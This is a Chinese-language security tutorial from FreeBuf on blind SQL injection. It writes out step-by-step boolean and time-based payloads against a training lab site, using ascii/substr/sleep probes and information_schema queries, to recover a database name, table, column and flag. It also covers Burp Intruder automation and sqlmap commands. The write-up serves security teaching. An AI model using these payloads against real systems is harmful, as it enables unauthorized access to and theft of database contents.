freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SQL注入之盲注
2021-07-21 11:03:07

前言

注入攻击的本质: 把用户输入的数据当做代码执行

两个关键条件:

第一个是用户能够控制输入

第二个是原本程序要执行的代码,拼接了用户输入的数据然后进行执行

盲注所对应的是显错注入,

但很多时候,Web服务器关闭了错误回显,这时候我们该怎样实行SQL注入了呢,

union select 联合查询注入

updatexml 报错注入

盲注介绍

所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击

服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。

盲注的类型:

1626772135_60f692a77aaac1c905778.png!small?1626772136608

盲注需要掌握的几种函数

length() 函数 返回字符串的长度

substr() 截取字符串 (语法:SUBSTR(str,pos,len);) 

ascii() 返回字符的ascii码   [将字符变为数字wei]

sleep() 将程序挂起一段时间n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

盲注实战

布尔盲注

1.手工注

1.判断注入点

and -1=-1  页面返回有数据

and -1=-2  页面无结果返回

==》存在SQL注入

2. 判断当前页面字段总数

and -1=-1 order by 2 页面返回有数据

and -1=-2 order by 3 页面无结果返回

==》当前页面字段数为:2。

3.判断显示位

and -1=-2 union select 1,2 页面无结果返回

==》无回显点,应该是:盲注并且是布尔盲注(有明显的True和Flash)。

4.猜解当前数据库名称长度

and (length(database()))>11页面返回有数据

and (length(database()))>12页面无结果返回

==》当前数据库名称长度为:12。

5.用ASCII码猜解当前数据库名称

and ascii(substr(database(),1,1))=107 页面返回有数据

and ascii(substr(database(),2,1))=97 页面返回有数据

==》当前数据库 第一个字母是k,第二个字母是a...以此类推得到数据库库名是kanwolonxia。

注:判断ascii码范围不止是 ”=" 哦,还应该恰当使用 “>”,“<” 等符号。

6.猜表名

and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=108  页面返回有数据

==》表名的 第一个字母是 l ...然后以此类推得到 表名 loflag。

7.猜字段名

and (ascii(substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),1,1)))=102   页面返回有数据

==》字段名的第一个字母是 f...类推得到字段名 flaglo。

8.猜内容 

and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122  页面返回有数据

==》得到数据的第一个字母是 z...类推得到 数据zKaQ-QQQ

2.burp跑盲注

猜解当前数据库名称

1626788604_60f6d2fc309098274d29d.png!small?1626788604240

1626788648_60f6d328a1a6a53b1f679.png!small?1626788648675

1626788656_60f6d3306dfa796c68d94.png!small?1626788656453

1626788806_60f6d3c6e73d712895c28.png!small?1626788806977

1 107 k

2 97 a
3 110 n
4 119 w
5 111 o
6 108 l
7 111 o
8 110 n
9 103 g
10 120 x
11 105 i
12 97 a

得到 数据库名kanwolonxia...下面的burp跑的都差不多。


sqlmap跑布尔盲注

sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1

1626790692_60f6db244e2bf5d2704bd.png!small?1626790692277

基础命令:

-u 指定注入点

--dbs 跑库名

--tables 跑表名

--columns 跑字段名

--dump 枚举数据

-D 指定库 -T 指定表 -C 指定字段

其他的按照我的上篇文章里面的sqlmap操作步骤:

https://www.freebuf.com/articles/web/281064.html

时间盲注

1.判断注入点

"and -1=-1-- w  页面返回有数据

"and -1=-2-- w  页面返回有数据

==》页面的返回没有变化,可能是盲注

然后用sleep()判断是否是时间盲注

"and sleep(5)-- w    页面延时了

==》该盲注是时间盲注。

2.猜解当前数据库名称长度

"and if((length(database()))=12,sleep(5),1)-- w  页面延时了

==》当前数据库名称长度为 12

3.用ASCII码猜解当前数据库名称

"and if(ascii(substr(database(),1,1))=107,sleep(5),1)-- w  页面延时了

==》数据库第一个字母是k... 类推得到数据库名kanwolonxia。

后面的跟上面的差不多就是多了一个 if() 函数。

并且用Burp和Salmap的方法也都类似。

延时盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过延时多一个if()。


# 渗透测试
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录